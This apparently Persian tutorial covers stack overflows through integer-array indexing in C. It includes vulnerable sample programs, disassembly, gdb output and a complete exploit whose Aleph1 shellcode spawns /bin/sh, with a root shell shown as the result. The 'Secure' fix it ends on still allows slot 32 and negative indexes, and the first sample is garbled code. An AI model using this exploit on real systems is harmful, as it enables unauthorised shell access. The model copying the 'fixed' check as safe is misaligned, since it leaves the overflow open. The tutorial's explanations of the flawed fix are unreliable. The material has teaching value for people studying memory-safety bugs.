سریز در آرایه های عددی

gets()
sprintf()
strcat()
strcpy()
streadd()
strecpy()
strtrns()
index()
fscanf()
scanf()
sscanf()
vsprintf()
realpath()
getopt()
getpass()

---- Vuln-Array.c ----

#include <stdio.h>

int main(int argc, char *argv[]){
int array[10];
printf(“Please Enter your Array value : “);
gets(array);
printf(“Your Vaule: %d, array);
return 0;
}

---- Vuln-Array.c ----

D:\>lc –g2 vuln-array.c –o vuln-array.exe –s
D:\>vuln-array.exe
Please Enter your Array value : 1,2,3,4,5,6,7,8,9,10
Your Value: 1244996
D:\>

D:\>vuln-array.exe
Please Enter your Array value : 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
Your Value: 1244996
abnormal program termination
-------
AppName: Vuln-array.exe AppVer: 0.0.0.0 ModName: Vuln-array.exe
ModVer: 0.0.0.0 Offset: 00001289

ADD ESP,18
XOR ECX,ECX
MOV DWORD PTR SS:[EBP-4],ECX

PUSH EDI
PUSH a.004090A2 ; /Arg1 = 004090A2 ASCII "Please Enter your Array: "
CALL a.00406D51 ; \a.00406D51
ADD ESP,4
LEA EDI,DWORD PTR SS:[EBP-28]
PUSH EDI ; /s
CALL <JMP.&CRTDLL.gets> ; \gets

---- int_array.c ----

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void place_int_array(unsigned int slot,int value){
int array[32];
array[slot]=value; /* the overwrite itself. */
printf("filled slot %u with %d.\n",slot,value);
return;
}
int main(int argc,char **argv){
if(argc!=3)
printf("syntax: %s [slot] [value]\n",argv[0]);
else
place_int_array(atoi(argv[1]),atoi(argv[2]));
exit(0);
}
---- int_array.c ----

$ [root@localhost /root]# gcc int_array.c -o int_array
$ [root@localhost /root]# ./int_array 33 65535
$ filled slot 33 with 65535.
$ [root@localhost /root]# ./int_array 34 65535
$ filled slot 34 with 65535.
$ [root@localhost /root]# ./int_array 35 65535
$ filled slot 35 with 65535.
$ Segmentation fault (core dumped)

و ازGdb برایdubug كردنcore برنامه استفاده می كنيم:

$ [root@localhost /root]# gdb -c core
$ GNU gdb 5.0rh-5 Red Hat Linux 7.1
$ ...
$ This GDB was configured as "i386-redhat-linux".
$ Core was generated by `./int_array 35 65535'.
$ Program terminated with signal 11, Segmentation fault.
$ #0 0x0000ffff in ?? ()
$ (gdb)

---- expl_int_array.c ----

/* expl_int_array.c: int_array.c exploit. */
/* syntax: ./expl_int_array [0x????????] [#] */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* path to the buggy program. (int_array) */

#define PATH "./int_array"

/* size of shellcode buffer. */

#define ENV_SIZE 4096

/* x86/linux shellcode, written by aleph1. */

static char x86_exec[]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68";

int main(int argc,char **argv){
char n_to_s[16],*buf;
unsigned int ret;

/* take address given, to be converted to a */
/* numeric value. */

if(argc>2)
sscanf(argv[1],"%x",&ret);
else{
printf("syntax: %s [0x????????] [#]\n",argv[0]);
exit(0);
}

/* compensation: */
/* anything above 0x7fffffff will need to be */
/* passed as a negative value. subtract */
/* 0xffffffff in that case. it will loop */
/* over into the desired value. */

if(ret>0x7fffffff)
sprintf(n_to_s,"%d",ret-0xffffffff-1);
else
sprintf(n_to_s,"%u",ret);

/* put the nops+shellcode in the environment. */

if(!(buf=(char *)malloc(ENV_SIZE+1)))exit(0);
memset(buf,0x90,(ENV_SIZE-strlen(x86_exec)));
memcpy(buf+(ENV_SIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec));
setenv("EXEC",buf,1);
free(buf)

/* some verbose display, informing! */

printf("* return address: 0x%x\n",ret);
printf("* command line: %s %s %s\n\n",PATH,argv[2],n_to_s);

/* exploit it. */

execl(PATH,PATH,argv[2],n_to_s,0);

/* should not make it here, execution failed. */

exit(0);
}
//Exploit by : FakeHal0
---- expl_int_array.c ----

$ [root@localhost /root]# gcc expl_int_array.c -o expl_int_array
$ [root@localhost /root]# ./expl_int_array 0xbffff000 35
$ * return address: 0xbffff000
$ * command line: ./int_array 35 -1073745920
$
$ filled slot 35 with -1073745920.
$ sh-2.04#

----- int_array.c (Secure) ----

/* int_array.c: a buggy test program. */
/* syntax: ./int_array [slot] [value] */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void place_int_array(int slot,int value){
int array[32];
if(slot>32)
printf("slot is greater than 32, out of bounds.\n");
else{
array[slot]=value; /* the overwrite itself. */
printf("filled slot %d with %d.\n",slot,value);
}

return;

}
int main(int argc,char **argv){
if(argc!=3)
printf("syntax: %s [slot] [value]\n",argv[0]);
else
place_int_array(atoi(argv[1]),atoi(argv[2]));
exit(0);
}

---- int_array.c (Secure) ----

$ [root@localhost /root]# ./expl_int_array 0xbffff000 35
$ * return address: 0xbffff000
$ * command line: ./int_array 35 -1073745919
$
$ slot is greater than 32, out of bounds.